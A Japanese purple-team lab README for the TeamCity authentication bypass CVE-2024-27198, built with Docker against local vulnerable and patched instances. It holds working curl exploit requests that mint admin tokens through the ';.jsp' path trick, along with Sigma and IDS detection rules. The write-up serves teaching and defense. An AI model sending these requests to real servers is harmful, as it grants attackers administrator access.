CVE-2024-27198 用のラボ
TeamCity には、認証で保護されていないトークン管理用の管理者専用ページがあります。これにより、認証されていないユーザーは、既存ユーザーの ID を見つけることができれば、管理者ユーザーのアクセストークンを生成できます。
この脆弱性は REST API ルーティングメカニズムに存在します。認証されていないエンドポイントに特定の文字(?jsp=/app/rest/...;.jsp など)を追加することで、攻撃者は TeamCity Web サーバーを欺いて、セキュリティフィルターを回避しながらリクエストを認証済みエンドポイントにルーティングさせることができます。これには事前の知識やアクセスが一切不要であり、純粋な CVSS 9.8 です。
cd CVE-2024-27198
docker compose -f docker-compose.yml up -d
脆弱な TeamCity インスタンスには http://localhost:8111 からアクセスします。 パッチ適用済みの TeamCity インスタンスには http://localhost:8112 からアクセスします。
ユーザー名:
admin
パスワード:
admin
認証なしでリソースへの GET リクエスト:
curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users
どちらも 401 ステータスコードのエラーを返すはずです。
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
次のようなトークンが返されるはずです(トークンは毎回異なります):
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
パッチ適用済みインスタンスにはこの脆弱性がないため、401 ステータスコードのエラーが返されるはずです。
curl -i -H "Authorization: Bearer <TOKEN>" \
http://localhost:8111/app/rest/users
ユーザーリストが返されるはずです。
ラボでのデモ中に、非常に重要な Blue Team の発見事項 を示すことができます。この脆弱性はデフォルトでは非常にステルスです!
;.jsp HTTP リクエストは記録されません。では、どのようにして検知するのでしょうか?攻撃者が痕跡を消すときです! 攻撃者が隠れるために不正なトークンを削除すると、TeamCity はそれを記録します。
監査ログで痕跡を消そうとする攻撃者を見つける:
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log
("REDTEAM" トークンが削除されたことを示すログエントリが表示されます)。
docker compose -f docker-compose.yml down
この脆弱性は、CWE-288: 代替パスまたはチャネルを使用した認証バイパス の事例です。
この欠陥は、Tomcat Web サーバーと TeamCity アプリケーションルーターの間のパス混乱の問題に起因します。;.jsp を追加し、jsp= パラメータに対象の REST API エンドポイントを渡すことで、最初のセキュリティフィルターはリクエストを公開の .jsp ファイルへの認証不要のリクエスト(許可される)として解釈します。しかし、内部ルーターは ;.jsp を除去し、認証フィルターを適用せずに制限された /app/rest/ エンドポイントへリクエストを転送します。
正当な使用例(なぜ ; が許可されているのか?):
Tomcat はマトリクスパラメータのためにセミコロン文字(;)を使用します。歴史的に、このメカニズムはパス内で直接パラメータを渡すために使用されており、例えばクッキーが無効な場合にユーザーセッション状態を維持するために JSESSIONID を追加します。この正常で正当な Web サーバーの動作と、TeamCity アプリケーションルーターによる不適切な検証が組み合わさって、この脆弱性が生じます。
進行中または過去の侵害を検知するために、Blue Team は以下を探す必要があります:
/app/rest/ エンドポイントを標的とするが、URI に異常な ;.jsp 文字列を含む HTTP リクエスト。teamcity-server.log): 説明のつかないアクセストークンの生成や、新しい管理者アカウントの作成。初期のエクスプロイトはデフォルトでステルスであるため、Blue Team は攻撃者の侵害後アクション(痕跡を消すことなど)の検知に依存する必要があります。不審なトークン削除を検知するための SIEM 用 Sigma ルールを以下に示します:
title: JetBrains TeamCity Suspicious Token Deletion (Post-Exploit CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detects an attacker covering their tracks after exploiting CVE-2024-27198 by deleting their rogue token.
author: Purple Team
date: 2026-05-18
logsource:
category: application
product: teamcity
detection:
selection:
message|contains: 'delete_token_for_user'
condition: selection
level: medium
この検知が機能することを証明するには、siem_simulator.py スクリプトを実行します。
docker compose up -d)。python3 siem_simulator.py
ネットワーク上でこの悪用試行を検知するために、SOC は次の IDS ルールを実装できます。このルールは、REST API パスと組み合わせた異常な ;.jsp パターンを探します:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
緩和策が機能することを証明するには、ポート 8112 で実行されているパッチ適用済みの TeamCity コンテナに対して、まったく同じエクスプロイトペイロードを実行します:
curl -i -X POST -H "Content-Type: application/json" \
"http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
-d '{"name":"REDTEAM"}'
パッチはルートマッチングを厳格に適用し、マトリクスパラメータを適切にサニタイズするため、バイパスは失敗します。生成されたトークンの代わりに、401 Unauthorized または 404 Not Found 応答が表示されるはずです。